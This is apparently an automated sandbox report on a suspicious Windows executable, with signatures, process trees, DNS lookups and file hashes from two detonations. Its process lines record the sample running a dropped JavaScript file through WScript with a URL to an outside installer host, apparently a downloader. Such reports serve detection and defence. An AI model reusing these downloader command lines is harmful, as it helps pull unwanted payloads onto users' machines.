Malware Analysis Report

2025-01-18 01:58

Sample ID 240613-jmpeeazdjg
Target a47d8ba5258b1390f73463580f5f1e83_JaffaCakes118
SHA256 700c60f76c462f5aa2461400753502a75182539a1518b7e1c558003c1f1d4133
Tags
execution
score
7/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
7/10

SHA256

700c60f76c462f5aa2461400753502a75182539a1518b7e1c558003c1f1d4133

Threat Level: Shows suspicious behavior

The file a47d8ba5258b1390f73463580f5f1e83_JaffaCakes118 was found to be: Shows suspicious behavior.

Malicious Activity Summary

execution

Checks computer location settings

Unsigned PE

Command and Scripting Interpreter: JavaScript

Enumerates physical storage devices

Program crash

Modifies registry class

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-06-13 07:47

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-13 07:47

Reported

2024-06-13 07:49

Platform

win7-20240508-en

Max time kernel

144s

Max time network

144s

Command Line

"C:\Users\Admin\AppData\Local\Temp\a47d8ba5258b1390f73463580f5f1e83_JaffaCakes118.exe"

Signatures

Command and Scripting Interpreter: JavaScript

execution

Enumerates physical storage devices

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 348 wrote to memory of 2976 N/A C:\Users\Admin\AppData\Local\Temp\a47d8ba5258b1390f73463580f5f1e83_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 348 wrote to memory of 2976 N/A C:\Users\Admin\AppData\Local\Temp\a47d8ba5258b1390f73463580f5f1e83_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 348 wrote to memory of 2976 N/A C:\Users\Admin\AppData\Local\Temp\a47d8ba5258b1390f73463580f5f1e83_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 348 wrote to memory of 2976 N/A C:\Users\Admin\AppData\Local\Temp\a47d8ba5258b1390f73463580f5f1e83_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 348 wrote to memory of 2784 N/A C:\Users\Admin\AppData\Local\Temp\a47d8ba5258b1390f73463580f5f1e83_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 348 wrote to memory of 2784 N/A C:\Users\Admin\AppData\Local\Temp\a47d8ba5258b1390f73463580f5f1e83_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 348 wrote to memory of 2784 N/A C:\Users\Admin\AppData\Local\Temp\a47d8ba5258b1390f73463580f5f1e83_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 348 wrote to memory of 2784 N/A C:\Users\Admin\AppData\Local\Temp\a47d8ba5258b1390f73463580f5f1e83_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 348 wrote to memory of 2340 N/A C:\Users\Admin\AppData\Local\Temp\a47d8ba5258b1390f73463580f5f1e83_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 348 wrote to memory of 2340 N/A C:\Users\Admin\AppData\Local\Temp\a47d8ba5258b1390f73463580f5f1e83_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 348 wrote to memory of 2340 N/A C:\Users\Admin\AppData\Local\Temp\a47d8ba5258b1390f73463580f5f1e83_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 348 wrote to memory of 2340 N/A C:\Users\Admin\AppData\Local\Temp\a47d8ba5258b1390f73463580f5f1e83_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe

Processes

C:\Users\Admin\AppData\Local\Temp\a47d8ba5258b1390f73463580f5f1e83_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\a47d8ba5258b1390f73463580f5f1e83_JaffaCakes118.exe"

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf11DC.js" http://www.djapp.info/?domain=vDohyrYeFz.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjQiodRIIVA0RmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4W8ARNmNAMCdXMWAnI7ZWcJfndWFTQ8Ceizxfr7RVJSNKY6xJX C:\Users\Admin\AppData\Local\Temp\fuf11DC.exe

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf11DC.js" http://www.djapp.info/?domain=vDohyrYeFz.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjQiodRIIVA0RmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4W8ARNmNAMCdXMWAnI7ZWcJfndWFTQ8Ceizxfr7RVJSNKY6xJX C:\Users\Admin\AppData\Local\Temp\fuf11DC.exe

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf11DC.js" http://www.djapp.info/?domain=vDohyrYeFz.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjQiodRIIVA0RmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4W8ARNmNAMCdXMWAnI7ZWcJfndWFTQ8Ceizxfr7RVJSNKY6xJX C:\Users\Admin\AppData\Local\Temp\fuf11DC.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 www.djapp.info udp
US 8.8.8.8:53 www.djapp.info udp
US 8.8.8.8:53 bi.downthat.com udp
US 8.8.8.8:53 www.djapp.info udp
US 8.8.8.8:53 www.djapp.info udp
US 8.8.8.8:53 bi.downthat.com udp
US 8.8.8.8:53 www.djapp.info udp
US 8.8.8.8:53 www.djapp.info udp
US 8.8.8.8:53 bi.downthat.com udp

Files

C:\Users\Admin\AppData\Local\Temp\fuf11DC.js

MD5 3813cab188d1de6f92f8b82c2059991b
SHA1 4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb
SHA256 a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
SHA512 83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

Analysis: behavioral2

Detonation Overview

Submitted

2024-06-13 07:47

Reported

2024-06-13 07:49

Platform

win10v2004-20240508-en

Max time kernel

100s

Max time network

90s

Command Line

"C:\Users\Admin\AppData\Local\Temp\a47d8ba5258b1390f73463580f5f1e83_JaffaCakes118.exe"

Signatures

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\a47d8ba5258b1390f73463580f5f1e83_JaffaCakes118.exe N/A

Command and Scripting Interpreter: JavaScript

execution

Enumerates physical storage devices

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings C:\Users\Admin\AppData\Local\Temp\a47d8ba5258b1390f73463580f5f1e83_JaffaCakes118.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2508 wrote to memory of 3148 N/A C:\Users\Admin\AppData\Local\Temp\a47d8ba5258b1390f73463580f5f1e83_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2508 wrote to memory of 3148 N/A C:\Users\Admin\AppData\Local\Temp\a47d8ba5258b1390f73463580f5f1e83_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2508 wrote to memory of 3148 N/A C:\Users\Admin\AppData\Local\Temp\a47d8ba5258b1390f73463580f5f1e83_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2508 wrote to memory of 3592 N/A C:\Users\Admin\AppData\Local\Temp\a47d8ba5258b1390f73463580f5f1e83_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2508 wrote to memory of 3592 N/A C:\Users\Admin\AppData\Local\Temp\a47d8ba5258b1390f73463580f5f1e83_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2508 wrote to memory of 3592 N/A C:\Users\Admin\AppData\Local\Temp\a47d8ba5258b1390f73463580f5f1e83_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2508 wrote to memory of 3084 N/A C:\Users\Admin\AppData\Local\Temp\a47d8ba5258b1390f73463580f5f1e83_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2508 wrote to memory of 3084 N/A C:\Users\Admin\AppData\Local\Temp\a47d8ba5258b1390f73463580f5f1e83_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2508 wrote to memory of 3084 N/A C:\Users\Admin\AppData\Local\Temp\a47d8ba5258b1390f73463580f5f1e83_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2508 wrote to memory of 4620 N/A C:\Users\Admin\AppData\Local\Temp\a47d8ba5258b1390f73463580f5f1e83_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2508 wrote to memory of 4620 N/A C:\Users\Admin\AppData\Local\Temp\a47d8ba5258b1390f73463580f5f1e83_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2508 wrote to memory of 4620 N/A C:\Users\Admin\AppData\Local\Temp\a47d8ba5258b1390f73463580f5f1e83_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2508 wrote to memory of 1376 N/A C:\Users\Admin\AppData\Local\Temp\a47d8ba5258b1390f73463580f5f1e83_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2508 wrote to memory of 1376 N/A C:\Users\Admin\AppData\Local\Temp\a47d8ba5258b1390f73463580f5f1e83_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2508 wrote to memory of 1376 N/A C:\Users\Admin\AppData\Local\Temp\a47d8ba5258b1390f73463580f5f1e83_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe

Processes

C:\Users\Admin\AppData\Local\Temp\a47d8ba5258b1390f73463580f5f1e83_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\a47d8ba5258b1390f73463580f5f1e83_JaffaCakes118.exe"

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4AC4.js" http://www.djapp.info/?domain=vDohyrYeFz.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjQiodRIIVA0RmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4W8ARNmNAMCdXMWAnI7ZWcJfndWFTQ8Ceizxfr7RVJSNKY6xJX C:\Users\Admin\AppData\Local\Temp\fuf4AC4.exe

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4AC4.js" http://www.djapp.info/?domain=vDohyrYeFz.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjQiodRIIVA0RmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4W8ARNmNAMCdXMWAnI7ZWcJfndWFTQ8Ceizxfr7RVJSNKY6xJX C:\Users\Admin\AppData\Local\Temp\fuf4AC4.exe

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4AC4.js" http://www.djapp.info/?domain=vDohyrYeFz.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjQiodRIIVA0RmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4W8ARNmNAMCdXMWAnI7ZWcJfndWFTQ8Ceizxfr7RVJSNKY6xJX C:\Users\Admin\AppData\Local\Temp\fuf4AC4.exe

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4AC4.js" http://www.djapp.info/?domain=vDohyrYeFz.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjQiodRIIVA0RmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4W8ARNmNAMCdXMWAnI7ZWcJfndWFTQ8Ceizxfr7RVJSNKY6xJX C:\Users\Admin\AppData\Local\Temp\fuf4AC4.exe

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4AC4.js" http://www.djapp.info/?domain=vDohyrYeFz.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjQiodRIIVA0RmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4W8ARNmNAMCdXMWAnI7ZWcJfndWFTQ8Ceizxfr7RVJSNKY6xJX C:\Users\Admin\AppData\Local\Temp\fuf4AC4.exe

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 360 -p 2508 -ip 2508

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 2508 -s 1484

Network

Country Destination Domain Proto
US 8.8.8.8:53 www.djapp.info udp
US 8.8.8.8:53 www.djapp.info udp
US 8.8.8.8:53 bi.downthat.com udp
US 8.8.8.8:53 www.djapp.info udp
US 8.8.8.8:53 www.djapp.info udp
US 8.8.8.8:53 www.djapp.info udp
US 8.8.8.8:53 www.djapp.info udp

Files

C:\Users\Admin\AppData\Local\Temp\fuf4AC4.js

MD5 3813cab188d1de6f92f8b82c2059991b
SHA1 4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb
SHA256 a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
SHA512 83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76